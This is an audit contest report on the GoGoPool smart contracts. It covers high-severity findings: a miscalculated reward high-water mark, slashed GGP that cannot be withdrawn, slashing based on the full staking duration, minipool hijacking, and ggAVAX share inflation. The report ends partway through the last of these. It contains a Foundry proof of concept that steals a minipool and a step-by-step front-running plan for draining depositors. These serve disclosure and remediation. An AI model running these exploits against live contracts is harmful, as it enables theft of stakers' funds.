🔐
Code4rena Audit
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit contest is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit contest outlined in this document, C4 conducted an analysis of the GoGoPool smart contract system written in Solidity. The audit contest took place between December 15—January 3 2023.
Following the C4 audit contest, 3 wardens (hansfriese, RaymondFam, and ladboy233) reviewed the mitigations for all identified issues; the mitigation review report is appended below the audit contest report.
114 Wardens contributed reports to the GoGoPool contest:
- 1.
- 2.
- 3.0xLad
- 4.
- 5.
- 6.0xbepresent
- 7.0xc0ffEE
- 8.
- 9.0xhunter
- 10.0xmint
- 11.
- 12.
- 13.Arbor-Finance (namaskar and bookland)
- 14.Atarpara
- 15.
- 16.Bnke0x0
- 17.Breeje
- 18.
- 19.
- 20.
- 21.
- 22.
- 23.HE1M
- 24.HollaDieWaldfee
- 25.IllIllI
- 26.
- 27.Josiah
- 28.KmanOfficial
- 29.Lirios
- 30.
- 31.Matin
- 32.NoamYakov
- 33.
- 34.PaludoX0
- 35.
- 36.RaymondFam
- 37.Rolezn
- 38.SEVEN
- 39.Saintcode_
- 40.
- 41.SmartSek (0xDjango and hake)
- 42.
- 43.V_B (Barichek and vlad_bochok)
- 44.WatchDogs
- 45.__141345__
- 46.
- 47.ak1
- 48.ast3ros
- 49.
- 50.
- 51.
- 52.brgltd
- 53.btk
- 54.
- 55.
- 56.caventa
- 57.cccz
- 58.chaduke
- 59.ck
- 60.clems4ever
- 61.
- 62.cozzetti
- 63.cryptonue
- 64.cryptostellar5
- 65.
- 66.
- 67.datapunk
- 68.dic0de
- 69.eierina
- 70.enckrish
- 71.
- 72.fs0c
- 73.gz627
- 74.
- 75.hihen
- 76.imare
- 77.immeas
- 78.jadezti
- 79.
- 80.kaliberpoziomka8552
- 81.kartkhira
- 82.
- 83.koxuan
- 84.
- 85.latt1ce
- 86.lukris02
- 87.mert_eren
- 88.minhtrng
- 89.mookimgo
- 90.
- 91.nameruse
- 92.neumo
- 93.
- 94.
- 95.
- 96.peanuts
- 97.peritoflores
- 98.rvierdiiev
- 99.sces60107
- 100.shark
- 101.simon135
- 102.sk8erboy
- 103.slowmoses
- 104.
- 105.
- 106.tonisives
- 107.unforgiven
- 108.wagmi
- 109.wallstreetvilkas
- 110.yixxas
- 111.yongskiws
The C4 analysis yielded an aggregated total of 28 unique vulnerabilities. Of these vulnerabilities, 6 received a risk rating in the category of HIGH severity and 22 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 15 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 12 reports recommending gas optimizations.
All of the issues presented here are linked back to their original finding.
The code under review can be found within the C4 GoGoPool contest repository, and is composed of 18 smart contracts written in the Solidity programming language and includes 2,040 lines of Solidity code.
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
Submitted by hansfriese, also found by unforgiven, wagmi, betweenETHlines, Allarious, HollaDieWaldfee, and chaduke
Node operators can manipulate the assigned high water to be higher than the actual.
The protocol rewards node operators according to the
AVAXAssignedHighWater that is the maximum amount assigned to the specific staker during the reward cycle.In the function
MinipoolManager.recordStakingStart(), the AVAXAssignedHighWater is updated as below.MinipoolManager.sol
349: function recordStakingStart(
350: address nodeID,
351: bytes32 txID,
352: uint256 startTime
353: ) external {
354: int256 minipoolIndex = onlyValidMultisig(nodeID);
355: requireValidStateTransition(minipoolIndex, MinipoolStatus.Staking);
356: if (startTime > block.timestamp) {
357: revert InvalidStartTime();
358: }
359:
360: setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".status")), uint256(MinipoolStatus.Staking));
361: setBytes32(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".txID")), txID);
362: setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".startTime")), startTime);
363:
364: // If this is the first of many cycles, set the initialStartTime
365: uint256 initialStartTime = getUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".initialStartTime")));
366: if (initialStartTime == 0) {
367: setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".initialStartTime")), startTime);
368: }
369:
370: address owner = getAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".owner")));
371: uint256 avaxLiquidStakerAmt = getUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".avaxLiquidStakerAmt")));
372: Staking staking = Staking(getContractAddress("Staking"));
373: if (staking.getAVAXAssignedHighWater(owner) < staking.getAVAXAssigned(owner)) {
374: staking.increaseAVAXAssignedHighWater(owner, avaxLiquidStakerAmt);//@audit wrong
375: }
376:
377: emit MinipoolStatusChanged(nodeID, MinipoolStatus.Staking);
378: }
In the line #373, if the current assigned AVAX is greater than the owner's
AVAXAssignedHighWater, it is increased by avaxLiquidStakerAmt. But this is supposed to be updated to staking.getAVAXAssigned(owner) rather than being increased by the amount.Example: The node operator creates a minipool with 1000AVAX via
createMinipool(nodeID, 2 weeks, delegationFee, 1000*1e18).
On creation, the assigned AVAX for the operator will be 1000AVAX.
If the Rialtor calls recordStakingStart(), AVAXAssignedHighWater will be updated to 1000AVAX. After the validation finishes, the operator creates another minipool with 1500AVAX this time. Then on recordStakingStart(), AVAXAssignedHighWater will be updated to 2500AVAX by increasing 1500AVAX because the current assigned AVAX is 1500AVAX which is higher than the current AVAXAssignedHighWater=1000AVAX.
This is wrong because the actual highest assigned amount is 1500AVAX.
Note that AVAXAssignedHighWater is reset only through the function calculateAndDistributeRewards which can be called after RewardsCycleSeconds=28 days.Call
staking.resetAVAXAssignedHighWater(owner) instead of calling increaseAVAXAssignedHighWater().MinipoolManager.sol
373: if (staking.getAVAXAssignedHighWater(owner) < staking.getAVAXAssigned(owner)) {
374: staking.resetAVAXAssignedHighWater(owner); //@audit update to the current AVAX assigned
375: }
Can we take some extra considerations here please? Discussed with @0xju1ie (GoGoPool) about this specific issue, and this was the answer:(it is AVAXAssignedHighWater)It increases on a per minipool basis right now, increasing based on only what that single minipool is getting.If it was to just update the AVAXAssignedHighWater to getAVAXAssigned, then it could be assigning the highwater mark too early.EX for how it is now:1. create minipool1, assignedAvax = 1k, high water= 02. create minipool2, assignedAvax =1k, high water = 03. record start for minipool1, highwater -> 1k4. record start for minipool2, highwater -> 2kEX for how your suggestion could be exploited:1. create minipool1, assignedAvax = 1k, high water= 02. create minipool2, assignedAvax =1k, high water = 03. record start for minipool1, highwater -> 2k4. cancel minipool2, highwater -> 2kif we used only avax assigned for that case then it would mess up the collateralization ratio for the second minipool and they would only get paid for the minipool that they are currently operating, not the one that ended previously.
Their example in the proof of concept section is correct, and we have decided that this is not the ideal behavior and thus this is a bug. However, their recommended mitigation steps would create other issues, as highlighted by what @Franfran said. We intend to solve this issue differently than what they suggested.
The Warden has shown a flaw in the wayincreaseAVAXAssignedHighWateris used, which can be used to:
Submitted by bin2chen, also found by AkshaySrivastav, hansfriese, hansfriese, caventa, shark, RaymondFam, csanuragjain, rvierdiiev, and cozzetti
ProtocolDAO implementation does not have a method to take out GGP. So it can't handle ggp unless it updates ProtocolDAO.
recordStakingEnd() will pass the rewards of this reward.
"If the validator is failing at their duties, their GGP will be slashed and used to compensate the loss to our Liquid Stakers"
At this point slashGGP() will be executed and the GGP will be transferred to "ProtocolDAO"
staking.slashGGP():
function slashGGP(address stakerAddr, uint256 ggpAmt) public onlySpecificRegisteredContract("MinipoolManager", msg.sender) {
Vault vault = Vault(getContractAddress("Vault"));
decreaseGGPStake(stakerAddr, ggpAmt);
vault.transferToken("ProtocolDAO", ggp, ggpAmt);
}
But the current ProtocolDAO implementation does not have a method to take out GGP. So it can't handle ggp unless it updates ProtocolDAO
1.transfer GGP to ClaimProtocolDAO
or
2.Similar to ClaimProtocolDAO, add spend method to retrieve GGP
contract ProtocolDAO is Base {
...
+ function spend(
+ address recipientAddress,
+ uint256 amount
+ ) external onlyGuardian {
+ Vault vault = Vault(getContractAddress("Vault"));
+ TokenGGP ggpToken = TokenGGP(getContractAddress("TokenGGP"));
+
+ if (amount == 0 || amount > vault.balanceOfToken("ProtocolDAO", ggpToken)) {
+ revert InvalidAmount();
+ }
+
+ vault.withdrawToken(recipientAddress, ggpToken, amount);
+
+ emit GGPTokensSentByDAOProtocol(address(this), recipientAddress, amount);
+ }
The Warden has shown how, due to a lack ofsweepthe default contract for fee handling will be unable to retrieve tokens sent to it.While the issue definitely would have been discovered fairly early in Prod, the in-scope system makes it clear that the funds would have been sent to ProtocolDAO.sol and would have been lost indefinitely.For this reason, I believe the finding to be of High Severity.
Acknowledged.Thanks for the report. This is something we're aware of and are not going to fix at the moment.The funds are transferred to the Vault and the ProtocolDAO contract is upgradeable. Therefore in the future we can upgrade the contract to spend the Vault GGP tokens to return funds to Liquid Stakers.We expect slashing to be a rare event and might have some manual steps involved in the early days of the protocol to do this process if it occurs.
Submitted by immeas, also found by Allarious, ast3ros, unforgiven, Josiah, SmartSek, Franfran, HollaDieWaldfee, RaymondFam, and 0xdeadbeef0x
A node operator sends in the amount of duration they want to stake for. Behind the scenes Rialto will stake in 14 day cycles and then distribute rewards.
If a node operator doesn't have high enough availability and doesn't get any rewards, the protocol will slash their staked
GGP. For calculating the expected rewards that are missed however, the full duration is used:File: MinipoolManager.sol
557: function getExpectedAVAXRewardsAmt(uint256 duration, uint256 avaxAmt) public view returns (uint256) {
558: ProtocolDAO dao = ProtocolDAO(getContractAddress("ProtocolDAO"));
559: uint256 rate = dao.getExpectedAVAXRewardsRate();
560: return (avaxAmt.mulWadDown(rate) * duration) / 365 days; // full duration used when calculating expected reward
561: }
...
670: function slash(int256 index) private {
...
673: uint256 duration = getUint(keccak256(abi.encodePacked("minipool.item", index, ".duration")));
674: uint256 avaxLiquidStakerAmt = getUint(keccak256(abi.encodePacked("minipool.item", index, ".avaxLiquidStakerAmt")));
675: uint256 expectedAVAXRewardsAmt = getExpectedAVAXRewardsAmt(duration, avaxLiquidStakerAmt); // full duration
676: uint256 slashGGPAmt = calculateGGPSlashAmt(expectedAVAXRewardsAmt);
This is unfair to the node operator because the expected rewards is from a 14 day cycle.
Also, If they were to be unavailable again, in a later cycle, they would get slashed for the full duration once again.
A node operator staking for a long time is getting slashed for an unfairly large amount if they aren't available during a 14 day period.
The protocol also wants node operators to stake in longer periods: https://multisiglabs.notion.site/Known-Issues-42e2f733daf24893a93ad31100f4cd98
Team Comment:
This slashing amount calculation incentives the node operator to sign up for the shortest period possible and restake themselves to minimize possible losses.
Test in
MinipoolManager.t.sol: function testRecordStakingEndWithSlashHighDuration() public {
uint256 duration = 365 days;
uint256 depositAmt = 1000 ether;
uint256 avaxAssignmentRequest = 1000 ether;
uint256 validationAmt = depositAmt + avaxAssignmentRequest;
uint128 ggpStakeAmt = 200 ether;
vm.startPrank(nodeOp);
ggp.approve(address(staking), MAX_AMT);
staking.stakeGGP(ggpStakeAmt);
MinipoolManager.Minipool memory mp1 = createMinipool(depositAmt, avaxAssignmentRequest, duration);
vm.stopPrank();
address liqStaker1 = getActorWithTokens("liqStaker1", MAX_AMT, MAX_AMT);
vm.prank(liqStaker1);
ggAVAX.depositAVAX{value: MAX_AMT}();
vm.prank(address(rialto));
minipoolMgr.claimAndInitiateStaking(mp1.nodeID);
bytes32 txID = keccak256("txid");
vm.prank(address(rialto));
minipoolMgr.recordStakingStart(mp1.nodeID, txID, block.timestamp);
skip(2 weeks); // a two week cycle
vm.prank(address(rialto));
minipoolMgr.recordStakingEnd{value: validationAmt}(mp1.nodeID, block.timestamp, 0 ether);
assertEq(vault.balanceOf("MinipoolManager"), depositAmt);
int256 minipoolIndex = minipoolMgr.getIndexOf(mp1.nodeID);
MinipoolManager.Minipool memory mp1Updated = minipoolMgr.getMinipool(minipoolIndex);
assertEq(mp1Updated.status, uint256(MinipoolStatus.Withdrawable));
assertEq(mp1Updated.avaxTotalRewardAmt, 0);
assertTrue(mp1Updated.endTime != 0);
assertEq(mp1Updated.avaxNodeOpRewardAmt, 0);
assertEq(mp1Updated.avaxLiquidStakerRewardAmt, 0);
assertEq(minipoolMgr.getTotalAVAXLiquidStakerAmt(), 0);
assertEq(staking.getAVAXAssigned(mp1Updated.owner), 0);
assertEq(staking.getMinipoolCount(mp1Updated.owner), 0);
// log slash amount
console.log("slashedAmount",mp1Updated.ggpSlashAmt);
}
Slashed amount for a
365 days duration is 100 eth (10%). However, where they to stake for the minimum time, 14 days the slashed amount would be only ~3.8 eth.vs code, forge
Either hard code the duration to 14 days for calculating expected rewards or calculate the actual duration using
startTime and endTime.The Warden has shown an incorrect formula that uses thedurationof the pool for slashing.The resulting loss can be up to 26 times the yield that should be made up for.Because the:
Submitted by 0xdeadbeef0x, also found by bin2chen, datapunk, 0xmint, Lirios, AkshaySrivastav, adriro, ak1, IllIllI, pauliax, imare, imare, immeas, sces60107, peritoflores, wagmi, Jeiwan, sk8erboy, unforgiven, caventa, yixxas, Franfran, clems4ever, Ch_301, Allarious, 0xc0ffEE, 0Kage, kaliberpoziomka8552, kaliberpoziomka8552, HollaDieWaldfee, wallstreetvilkas, stealthyz, cozzetti, rvierdiiev, ladboy233, chaduke, chaduke, and Manboy
A malicious actor can hijack a minipool of any node operator that finished the validation period or had an error.
The impacts:
- 1.Node operators staked funds will be lost (Loss of funds)
- 2.Hacker can hijack the minipool and retrieve rewards without hosting a node. (Theft of yield)
2.1 See scenario #2 comment for dependencies
Background description
The protocol created a state machine that validates transitions between minipool states. For this exploit it is important to understand three states:
- 1.
Prelaunch- This state is the initial state when a minipool is created. The created minipool will have a status ofPrelaunchuntil liquid stakers funds are matched andrialtostakes 2000 AVAX into Avalanche. - 2.
Withdrawable- This state is set when the 14 days validation period is over. In this state: 2.1.rialtoreturned 1000 AVAX to the liquid stakers and handled reward distribution. 2.2. Node operators can withdraw their staked funds and rewards. 2.3. If the node operator signed up for a duration longer than 14 daysrialtowill recreate the minipool and stake it for another 14 days. - 3.
Error- This state is set whenrialtohas an issue to stake the funds in Avalanche
The state machine allows transitions according the
requireValidStateTransition function: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L164 function requireValidStateTransition(int256 minipoolIndex, MinipoolStatus to) private view {
------
} else if (currentStatus == MinipoolStatus.Withdrawable || currentStatus == MinipoolStatus.Error) {
isValid = (to == MinipoolStatus.Finished || to == MinipoolStatus.Prelaunch);
} else if (currentStatus == MinipoolStatus.Finished || currentStatus == MinipoolStatus.Canceled) {
// Once a node is finished/canceled, if they re-validate they go back to beginning state
isValid = (to == MinipoolStatus.Prelaunch);
------
In the above restrictions, we can see that the following transitions are allowed:
- 1.From
Withdrawablestate toPrelaunchstate. This transition enablesrialtoto callrecreateMinipool - 2.From
Finishedstate toPrelaunchstate. This transition allows a node operator to re-use their nodeID to stake again in the protocol. - 3.From
Errorstate toPrelaunchstate. This transition allows a node operator to re-use their nodeID to stake again in the protocol after an error.
#2 is a needed capability, therefore
createMinipool allows overriding a minipool record if: nodeID already exists and transition to Prelaunch is permitted function createMinipool(
address nodeID,
uint256 duration,
uint256 delegationFee,
uint256 avaxAssignmentRequest
) external payable whenNotPaused {
---------
// Create or update a minipool record for nodeID
// If nodeID exists, only allow overwriting if node is finished or canceled
// (completed its validation period and all rewards paid and processing is complete)
int256 minipoolIndex = getIndexOf(nodeID);
if (minipoolIndex != -1) {
requireValidStateTransition(minipoolIndex, MinipoolStatus.Prelaunch);
resetMinipoolData(minipoolIndex);
----------
setUint(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".status")), uint256(MinipoolStatus.Prelaunch));
----------
setAddress(keccak256(abi.encodePacked("minipool.item", minipoolIndex, ".owner")), msg.sender);
----------
}
THE BUG:
createMinipool can be called by Anyone with the nodeID of any node operator.If
createMinipool is called at the Withdrawable state or Error state:- The transaction will be allowed
- The owner of the minipool will be switched to the caller.
Therefore, the minipool is hijacked and the node operator will not be able to withdraw their funds.
Exploit scenarios
As shown above, an attacker can always hijack the minipool and lock the node operators funds.
- 1.Cancel the minipool
- 2.Earn rewards on behalf of original NodeOp
Scenario #1 - Cancel the minipool
A hacker can hijack the minipool and immediately cancel the pool after a 14 day period is finished or an error state. Results:
- 1.Node operator will lose all his staked AVAX 1.1. This can be done by a malicious actor to ALL GoGoPool stakers to lose their funds in a period of 14 days.
- 2.Hacker will not lose anything and not gain anything.
Consider the following steps:
- 1.Hacker creates a node and creates a minipool
node-1337. - 2.NodeOp registers a nodeID
node-123and finished the 14 days stake period. State isWithdrawable. - 3.Hacker calls
createMinipoolwithnode-123and deposits 1000 AVAX. Hacker is now owner of the minipool - 4.Hacker calls
cancelMinipoolofnode-123and receives his staked 1000 AVAX. - 5.NodeOp cannot withdraw his staked AVAX as NodeOp is no longer the owner.
- 6.Hacker can withdraw staked AVAX for both
node-1337andnode-123
The above step #1 is not necessary but allow the hacker to immediately cancel the minipool without waiting 5 days.
(See other submitted bug #211: "Anti griefing mechanism can be bypassed")
┌───────────┐ ┌───────────┐ ┌───────────┐ ┌───────────┐
│ │ │ │ │ │ │ │
│ Rialto │ │ NodeOp │ │ Minipool │ │ Hacker │
│ │ │ │ │ Manager │ │ │
└─────┬─────┘ └─────┬─────┘ └─────┬─────┘ └─────┬─────┘
│claimAndInitiate(Node-1337)│ │createMinipool(Node-1337) │
│recordStakingStart(...) │ │◄─────────────────────────┤ ┌────────────┐
├───────────────────────────┼───────────────────────►│ │ │ 1000 AVAX │
│ │ │ │ │ 100 GPP │
│ │createMinipool(Node-123)│ │ └────────────┘
│claimAndInitiate(Node-123) ├───────────────────────►│ │
│recordStakingStart(...) │ │ │
├───────────────────────────┼───────────────────────►│ │
┌──────────┐ │ │ │ │
│14 days │ │recordStakingEnd(Node-1337)│ │ │
└──────────┘ │recordStakingEnd(Node-123) │//STATE: WITHDRAWABLE// │ │ ┌────────────┐
├───────────────────────────┼───────────────────────►│ │ │ 1000 AVAX │
│ │ │createMinipool(Node-123) │ │Hacker=Owner│
│ │ │◄─────────────────────────┤ └────────────┘
│ │withdrawMinipoolF..(123)│ │
│ ├───────────────────────►│cancleMinipool(Node-123) │
│ │ REVERT! │◄─────────────────────────┤
│ │◄───────────────────────┤ 1000 AVAX │
│ │ ├─────────────────────────►│
│ │ ┌────────────────┐ │withdrawMinipoolFunds(1337│ ┌──────────┐
│ │ │ NodeOp loses │ │◄─────────────────────────┤ │Withdraw │
│ │ │ his 1000 AVAX │ │ 1000 AVAX + REWARDS │ │stake and │
│ │ │ Stake, cannot │ ├─────────────────────────►│ │rewards │
│ │ │ withdraw │ │ │ └──────────┘
│ │ └────────────────┘ │ ┌───────────────┐ │
│ │ │ │Hacker loses no│ │
│ │ │ │funds, can │ │
│ │ │ │withdraw GPP │ │
│ │ │ └───────────────┘ │
Scenario #2 - Use node of node operator
In this scenario the NodeOp registers for a duration longer then 14 days. The hacker will hijack the minipool after 14 days and earn rewards on behalf of the node operators node for the rest of the duration.
As the NodeOp registers for a longer period of time, it is likely he will not notice he is not the owner of the minipool and continue to use his node to validate Avalanche.
Results:
- 1.Node operator will lose all his staked AVAX
- 2.Hacker will gain rewards for staking without hosting a node
Important to note:
- This scenario is only possible if
recordStakingEndandrecreateMinipoolare not called in the same transaction byrialto. - During the research the sponsor has elaborated that they plan to perform the calls in the same transaction.
- The sponsor requested to submit issues related to
recordStakingEndandrecreateMinipoolsingle/multi transactions for information and clarity anyway.
Consider the following steps:
- 1.Hacker creates a node and creates a minipool
node-1337. - 2.NodeOp registers a nodeID
node-123for 28 days duration and finished the 14 days stake period. State isWithdrawable. - 3.Hacker calls
createMinipoolwithnode-1234and deposits 1000 AVAX. Hacker is now owner of minipool - 4.Rialto calls
recreateMinipoolto restake the minipool in Avalanche. (This time: the owner is the hacker, the hardware is NodeOp) - 5.14 days have passed, hacker can withdraw the rewards and 1000 staked AVAX
- 6.NodeOps cannot withdraw staked AVAX.
Foundry POC
The POC will demonstrate scenario #1.
Add the following test to
MinipoolManager.t.sol:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/MinipoolManager.t.sol#L175 function testHijackMinipool() public {
uint256 duration = 2 weeks;
uint256 depositAmt = 1000 ether;
uint256 avaxAssignmentRequest = 1000 ether;
uint256 rewards = 10 ether;
uint256 expectedRewards = (rewards/2)+(rewards/2).mulWadDown(dao.getMinipoolNodeCommissionFeePct());
uint256 validationAmt = depositAmt + avaxAssignmentRequest;
uint128 ggpStakeAmt = 100 ether;
address hacker = address(0x1337);
// Fund hacker with exact AVAX and gpp
vm.deal(hacker, depositAmt*2);
dealGGP(hacker, ggpStakeAmt);
// Fund nodeOp with exact AVAX and gpp
nodeOp = address(0x123);
vm.deal(nodeOp, depositAmt);
dealGGP(nodeOp, ggpStakeAmt);
// fund ggAVAX
address lilly = getActorWithTokens("lilly", MAX_AMT, MAX_AMT);
vm.prank(lilly);
ggAVAX.depositAVAX{value: MAX_AMT}();
assertEq(lilly.balance, 0);
vm.startPrank(hacker);
// Hacker stakes GGP
ggp.approve(address(staking), ggpStakeAmt);
staking.stakeGGP(ggpStakeAmt);
// Create minipool for hacker
MinipoolManager.Minipool memory hackerMp = createMinipool(depositAmt, avaxAssignmentRequest, duration);
vm.stopPrank();
vm.startPrank(nodeOp);
// nodeOp stakes GGP
ggp.approve(address(staking), ggpStakeAmt);
staking.stakeGGP(ggpStakeAmt);
// Create minipool for nodeOp
MinipoolManager.Minipool memory nodeOpMp = createMinipool(depositAmt, avaxAssignmentRequest, duration);
vm.stopPrank();
// Rialto stakes both hackers and nodeOp in avalanche
vm.startPrank(address(rialto));
minipoolMgr.claimAndInitiateStaking(nodeOpMp.nodeID);
minipoolMgr.claimAndInitiateStaking(hackerMp.nodeID);
// Update that staking has started
bytes32 txID = keccak256("txid");
minipoolMgr.recordStakingStart(nodeOpMp.nodeID, txID, block.timestamp);
minipoolMgr.recordStakingStart(hackerMp.nodeID, txID, block.timestamp);
// Skip 14 days of staking duration
skip(duration);
// Update that staking has ended and funds are withdrawable
minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(nodeOpMp.nodeID, block.timestamp, 10 ether);
minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(hackerMp.nodeID, block.timestamp, 10 ether);
vm.stopPrank();
/// NOW STATE: WITHDRAWABLE ///
vm.startPrank(hacker);
// Hacker creates a minipool using nodeID of nodeOp
// Hacker is now the owner of nodeOp minipool
minipoolMgr.createMinipool{value: depositAmt}(nodeOpMp.nodeID, duration, 0.02 ether, avaxAssignmentRequest);
// Hacker immediatally cancels the nodeOp minipool, validate 1000 AVAX returned
minipoolMgr.cancelMinipool(nodeOpMp.nodeID);
assertEq(hacker.balance, depositAmt);
// Hacker withdraws his own minipool and receives 1000 AVAX + rewards
minipoolMgr.withdrawMinipoolFunds(hackerMp.nodeID);
assertEq(hacker.balance, depositAmt + depositAmt + expectedRewards);
// Hacker withdraws his staked ggp
staking.withdrawGGP(ggpStakeAmt);
assertEq(ggp.balanceOf(hacker), ggpStakeAmt);
vm.stopPrank();
vm.startPrank(nodeOp);
// NodeOp tries to withdraw his funds from the minipool
// Transaction reverts because NodeOp is not the owner anymore
vm.expectRevert(MinipoolManager.OnlyOwner.selector);
minipoolMgr.withdrawMinipoolFunds(nodeOpMp.nodeID);
// NodeOp can still release his staked gpp
staking.withdrawGGP(ggpStakeAmt);
assertEq(ggp.balanceOf(nodeOp), ggpStakeAmt);
vm.stopPrank();
}
To run the POC, execute:
forge test -m testHijackMinipool -v
Expected output:
Running 1 test for test/unit/MinipoolManager.t.sol:MinipoolManagerTest
[PASS] testHijackMinipool() (gas: 2346280)
Test result: ok. 1 passed; 0 failed; finished in 9.63s
VS Code, Foundry
Fortunately, the fix is very simple.
The reason
createMinipool is called with an existing nodeID is to re-use the nodeID again with the protocol. GoGoPool can validate that the owner is the same address as the calling address. GoGoPool have already implemented a function that does this: onlyOwner(index).Consider placing
onlyOwner(index) in the following area:
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L243 function createMinipool(
address nodeID,
uint256 duration,
uint256 delegationFee,
uint256 avaxAssignmentRequest
) external payable whenNotPaused {
----------
int256 minipoolIndex = getIndexOf(nodeID);
if (minipoolIndex != -1) {
onlyOwner(minipoolIndex); // AUDIT: ADDED HERE
----------
} else {
----------
}
The Warden has shown how, due to a lax check for State Transition, a Pool ID can be hijacked, causing the loss of the original depositBecause the attack is contingent on a logic flaw and can cause a complete loss of Principal, I agree with High Severity.Separate note: I created issue 904. For the Finding 2 of this report, please refrain from grouping findings especially when they use different functions and relate to different issues.
Status: Mitigation confirmed, but a new medium severity issue was found. Full details in report from hansfriese, and also included in Mitigation Review section below.
Submitted by 0xdeadbeef0x, also found by eierina, ak1, datapunk, 0xNazgul, Qeew, Breeje, SamGMK, IllIllI, TomJ, sces60107, WatchDogs, Arbor-Finance, SmartSek, hansfriese, tonisives, peanuts, unforgiven, 0xSmartContract, fs0c, ck, 0xbepresent, yongskiws, 0xLad, btk, rvierdiiev, koxuan, ladboy233, Rolezn, HE1M, yongskiws, SEVEN, and dic0de
Inflation of
ggAVAX share price can be done by depositing as soon as the vault is created.Impact:
- 1.Early depositor will be able steal other depositors funds
- 2.Exchange rate is inflated. As a result depositors are not able to deposit small funds.
If
ggAVAX is not seeded as soon as it is created, a malicious depositor can deposit 1 WEI of AVAX to receive 1 share.
The depositor can donate WAVAX to the vault and call syncRewards. This will start inflating the price.When the attacker front-runs the creation of the vault, the attacker:
- 1.Calls
depositAVAXto receive 1 share - 2.Transfers
WAVAXtoggAVAX - 3.Calls
syncRewardsto inflate exchange rate
The issue exists because the exchange rate is calculated as the ratio between the
totalSupply of shares and the totalAssets().
When the attacker transfers WAVAX and calls syncRewards(), the totalAssets() increases gradually and therefore the exchange rate also increases. function convertToShares(uint256 assets) public view virtual returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());
}
Its important to note that while it is true that cycle length is 14 days, in practice time between cycles can very between 0-14 days. This is because syncRewards validates that the next reward cycle is evenly divided by the length (14 days).
function syncRewards() public {
----------
// Ensure nextRewardsCycleEnd will be evenly divisible by `rewardsCycleLength`.
uint32 nextRewardsCycleEnd = ((timestamp + rewardsCycleLength) / rewardsCycleLength) * rewardsCycleLength;
---------
}
Therefore:
- The closer the call to
syncRewardsis to the next evenly divisible value ofrewardsCycleLength, the closer the nextrewardsCycleEndwill be. - The closer the delta between
syncRewardscalls is, the higher revenue the attacker will get.
Edge case example:
syncRewards is called with the timestamp 1672876799, syncRewards will be able to be called again 1 second later. (1672876799 + 14 days) / 14 days) * 14 days) = 1672876800Additionally, the price inflation causes a revert for users who want to deposit less then the donation (WAVAX transfer) amount, due to precision rounding when depositing.
function depositAVAX() public payable returns (uint256 shares) {
------
if ((shares = previewDeposit(assets)) == 0) {
revert ZeroShares();
}
------
}
previewDeposit and convertToShares :
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L133
https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/tokens/upgradeable/ERC4626Upgradeable.sol#L123 function convertToShares(uint256 assets) public view virtual returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets());
}
function previewDeposit(uint256 assets) public view virtual returns (uint256) {
return convertToShares(assets);
}
Foundry POC
The POC will demonstrate the below scenario:
- 1.Bob front-runs the vault creation.
- 2.Bob deposits 1 WEI of AVAX to the vault.
- 3.Bob transfers 1000 WAVAX to the vault.
- 4.Bob calls
syncRewardswhen block.timestamp =1672876799. - 5.Bob waits 1 second.
- 6.Bob calls
syncRewardsagain. Share price fully inflated. - 7.Alice deposits 2000 AVAX to vault.
- 8.Bob withdraws 1500 AVAX (steals 500 AVAX from Alice).
- 9.Alice share earns her 1500 AVAX (although she deposited 2000).
Additionally, the POC will show that depositors trying to deposit less then the donation amount will revert.
Add the following test to
TokenggAVAX.t.sol: https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/test/unit/TokenggAVAX.t.sol#L108 function testShareInflation() public {
uint256 depositAmount = 1;